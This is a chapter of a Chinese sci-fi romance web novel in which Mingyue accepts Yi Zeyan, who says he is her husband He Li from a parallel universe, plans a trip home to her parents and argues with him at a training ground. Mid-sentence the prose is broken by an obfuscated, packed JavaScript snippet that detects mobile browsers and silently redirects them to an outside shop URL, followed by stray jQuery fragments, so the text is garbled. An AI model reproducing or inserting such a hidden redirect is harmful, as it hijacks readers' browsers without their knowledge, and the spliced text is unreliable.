8. 他不是他

作品:《他不是他

    他不是他。


    明玥常常提醒自己。


    何离是何离,易则严是易则严。


    何离只会客客气气叫她明玥,易则严却会亲昵唤她阿玥。


    他说:“无论你信或不信,阿意就是你,我就是何离,在你的世界,我可以叫你阿玥,但我仍想做易则严。”


    明玥茫然若失。


    她的伴侣、丈夫,就那一副面孔,却叫她拥有两个爱人。


    何离不能给她的,易则严统统都满足她。


    每一个缠绵温存的夜晚,她都心有负罪感,仿佛自己背叛了何离。


    他还嚣张地要求,“唤我的名字,阿玥。”


    “我要听你叫我阿严。”


    她便轻唤:“阿严…”


    这没什么大不了,他的这副身体,不正是她的阿离的嘛。


    易则严就得意又挑衅地问:“你终于承认我的存在了是吗?”


    明玥不加理会他这份嘚瑟,只道:“我看中的首先是这副皮囊,其次才看是谁。”


    “你既说你们是同一人,我希望你像阿离一样爱我。”


    像阿离一样爱她。


    明玥想想都无尽感伤落寞。


    何离的爱?


    她感受不到丁点儿。


    她只有威胁他,纠缠他,强行占有他…


    这是多么恶劣的行径?可她又有什么办法,她怎么也敲不醒一个木头人,进不了他的心。


    那易则严,她贪婪享受他带给她一切的爱,梦幻虚实全然接受。


    她告诉他:“我想清楚了,我不会与你解除伴侣关系。”


    “但你最好对我坦诚相待,否则,我要让你死,你就活不了。”


    他那么大号一人忽地跪在床上跪在她面前,赤着身膀,深邃直白的目光直勾勾抓住她一双疑惑眼,“这一世,宁愿我死,也要你活。”


    明玥惊诧不已,似乎这一刻突然眼花了,分不清对面的人是何离还是易则严。


    那只是她幻想的渴望拥有的如硬汉一般刚直又深情的爱人。


    理智恢复的时候,她又会想:他动不动谈生死的,是有多对不起他的爱人,那个叫方意的女孩儿。


    她会想象方意是怎样一位女子,隐忍着爱恋,可以为对方豁出性命?


    哎。


    明玥想,虽然总觉得他与方意、她与何离,故事情节那么相似,她也绝不是隐忍的性格呐。


    她简直是另世的易则严,用强制手段圈养自己的爱人。


    可问题是,何离会像方意一样对她也隐忍着爱恋嘛?


    会为她豁出性命守护她?


    她不敢再想,痴心妄想只会害了自己。


    当下正好,她就安然接受。


    每每事后闲宁,她就好奇易则严的事儿,便偎依在他身前,柔声细语地引导他说:“我想你给我讲你们的故事听。”


    “凤凰州,这个地方我从没有听过。”


    易则严搂着她,因常年搞研究摆弄仪器而深重粗糙的手会轻轻抚摸她背上的伤疤,像安抚,像在低语心疼。


    他说:“另一个宇宙的世界,你怎么会听过呢。”


    “你们是2088年,凤凰州已经是2121年了。你们这里有的,凤凰州都有,世界总是那样混乱不堪,不分时候。”


    他说地模棱两可,明玥就追问:“那说说你跟方意吧?我想要听。”


    说起他自己的故事,易则严又是从头开始讲,讲他与方意的相遇,然后言简意赅讲他们的失意爱情,讲到一半儿,就睡着了。


    明玥就赖着他,每次都问,期待他能讲到更多点儿信息,而每次他都像逃避一样比她先睡着。


    每一天晨早,易则严会细致打扮自己,剃须,面部护理,再梳理一个清爽的大背头,穿上何离那身研究院的工作服,准时准点出门,像过去的何离一样,前往地质勘察研究所上班。


    明玥带伤休假,多的是自由时间。


    一日突然起意,她特意跟踪易则严,一天下来,他除了会在休息时间去练武场,其他与何离平日里的工作安排并无不同。


    这样看来,他是他,易则严就是何离。


    她反复琢磨他的话,快要被他说服了。


    跨时空的相见,消失了的爱人,这些,真的就这么让它发生而不管不顾吗?


    明玥心存疑虑。


    她可以接受易则严,但许多事,她定要弄个明白。


    距离2089年新年还有不到一个月的时间,明玥心有安排,就给定居在太空城的父母打了视频电话过去。


    明慕春与时宛夫妇中年得女,对这个独生女娇宠有加,偏偏明玥是个自主独立的性格,对家族产业了无兴趣,小小年纪就来了拂云港加入了太空军。


    那头时宛接通视频电话,眨巴着眼定定地看来,一头羊毛卷的银白卷发,红艳双唇,眉锋似刀,浓艳凌厉。


    看见女儿出现在画面中,便阴阳怪气地问候:“今儿怎么有心给老妈打电话了?”


    “可不要告诉我你是思念你的老母亲了。”


    明玥还未开口,父亲明慕春一张大脸盘子挤进屏幕里,问她:“宝贝闺女什么时候回来呐?”


    “很快要过年了。”


    时宛却不以为然地窝眼道:“八成呀,打电话来是告诉我们俩她今年不回家过年了。”


    明玥一看母亲的反应,顿时皱眉,不满道:“妈,咱能不胡乱揣测嘛?”


    她原本还真就打算不回家的,毕竟上次差点儿丢了小命,有愧于父母,不敢面对他们二老。


    这不在基地不方便调查易则严的事儿,非得回去一趟?


    她才心虚为自己开脱:“我真的可想你们了,所以才打电话来告诉你们呐。这几天准备迎接你们宝贝女儿的归来吧。”


    “我要回家待一阵子,过完年再回来。”


    明慕春立即就问:“阿离跟你一起吗?”


    “他啊…”


    明玥想了想,道:“他工作任务繁重,晚点儿回吧,我先出发。”


    时宛应声儿,“妈妈觉得,你休息这段时间,不如生个宝宝,你觉得怎么样呢?”


    “反正闲着也是闲着。”


    明玥呲着个大牙,连连摇头,“…这实在不怎么样。”


    “我也想像您跟爸一样,把重要的事都完成了,再考虑抚养下一代的事儿。”


    “生育这事儿,我目前一点儿想法可都没。”


    时宛语重心长,“生育还得要趁早,谁知道你将来会跑到哪儿去,无论如何,要给爸爸妈妈留下点儿念想。”


    明玥阴着脸,“妈,您这是彻底放弃我了吗?”


    明慕春乐呵呵地道:“你俩别拌嘴了,妈妈就是担心你,爸妈就你一个宝贝,你可得为我俩好好惜命。”


    “哦,那什么,阿玥计划什么时候回来?爸爸派航天机去接你。”


    “不用了爸,我坐飞船到联合空间站,自己就跑回去了。”


    时宛手托着脸,一副期待的慈祥模样看过来。


    “一言为定喔,妈妈等你回来。”


    “妈妈还要为你准备个惊喜呢。”


    “啊?”明玥喜上眉梢,“什么惊喜呀?”


    “自然是回家后才知道啦。”


    明玥灵机一闪,搞不好,是母亲寻工匠为她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16851430|191571||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    打造了新的防身的武器吧?


    毕竟,上次的事儿,可把他们吓坏了,没人比父母更在意她的小命。


    要回去一趟,明玥寻思这事儿怎么也得跟易则严说一声。


    她约他在练武场见,就早早去了那边守株待兔。


    那次爆炸重伤后休养这半年来,身体虽然已无大碍,明玥却明显能感受到力量不足的问题。


    好像,半条命被炸没了,如今身上这条命,不过残留着过去自己身上一半儿的血气。


    负重推举。


    在易则严到来前,她先加码开练。


    一次,两次,……五次……


    到头了。


    五次,已然是她臂力的极限,想再尝试,也不知打哪儿来的恐惧感会打消她的积极性。


    在这儿锻炼的其他学员看见她,会笑容满面地鼓励她:“明玥上校,加油。”


    她呆呆地看着人家走过。


    这话在她心里,仿佛是说她再不如从前一般厉害。


    人家走远,她重重点头,自我打气,“我可以的!”


    “我会比从前更厉害!”


    她提上口气儿,刚要进行再一次推举,眼前一双工装靴驻停在她面前。


    明玥抬头,对上易则严落下来的清浅目光。


    他看她一头汗热,胸口起伏呼吸不匀,便沉声说道:“你还不适合做这种高强度训练,身体虚,只会适得其反,越练越没劲儿。”


    明玥松开杠铃,松懈了双臂自然垂落身前,问他:“为什么?”


    “说的你好像很了解我似的。”


    “你又不是没领教过我的厉害。”


    易则严半蹲下来,看她一眼又垂眸微微笑,拽着她手腕握在自己手里,为她诊脉。


    “重伤之后,你身体气血亏损很大,现在看着虽然没有什么大问题,却仍需要静息调养的。”


    “霸道用力,可不是真的力,只会消耗你的身体。”


    说罢,他抬头看她,“听说你报名白泽号的竞选了?”


    明玥呆呆地看他,理所当然地肯定回应:“对啊。”


    易则严却摇头,“我不想你现在去跟别人较量,你要是想要白泽号的指挥权,我可以报名,帮你拿下白泽号。”


    明玥也摇头,强调问:“我想拥有自己的侦察舰,你报名,你做舰长?”


    “那我呢?”


    “副指挥官呀。”


    明玥不肯,努着嘴,“我不要。”


    易则严笑笑,“好,我不与你争论。”


    “你要报名参选,单就医疗评估这块儿你就过不去。”


    “那用不着你担心。”


    明玥得意地扭过头。


    别说孙老头能帮她,陈非尔也能帮她应付过体检。


    易则严察觉她定有主意,便一改脸色严肃道:“我说不让你参加的话你都不会听是吗?”


    “当然!”


    “我的转职申请已经提交,我会调来你们组,你要参加竞选,就必须听我的话按照我的护理方案来调养身体。”


    明玥没多想,反正要回去了,多的是自由时间。


    她敷衍回他:“好啊,我可以听你的,但是等一个月以后吧。”


    “我要回家一趟。”


    易则严面露惊色,“回家?还回去那么久?”


    明玥拍拍他肩,得意洋洋哄着他,“别急,马上你也会有假期,等我召唤吧,过年你也得回我家呢。”


    易则严握住她的手,神色凝重。


    “太久了,你要跟我分开这么久?”


    “一个月而已呀。”


    “我不允许。”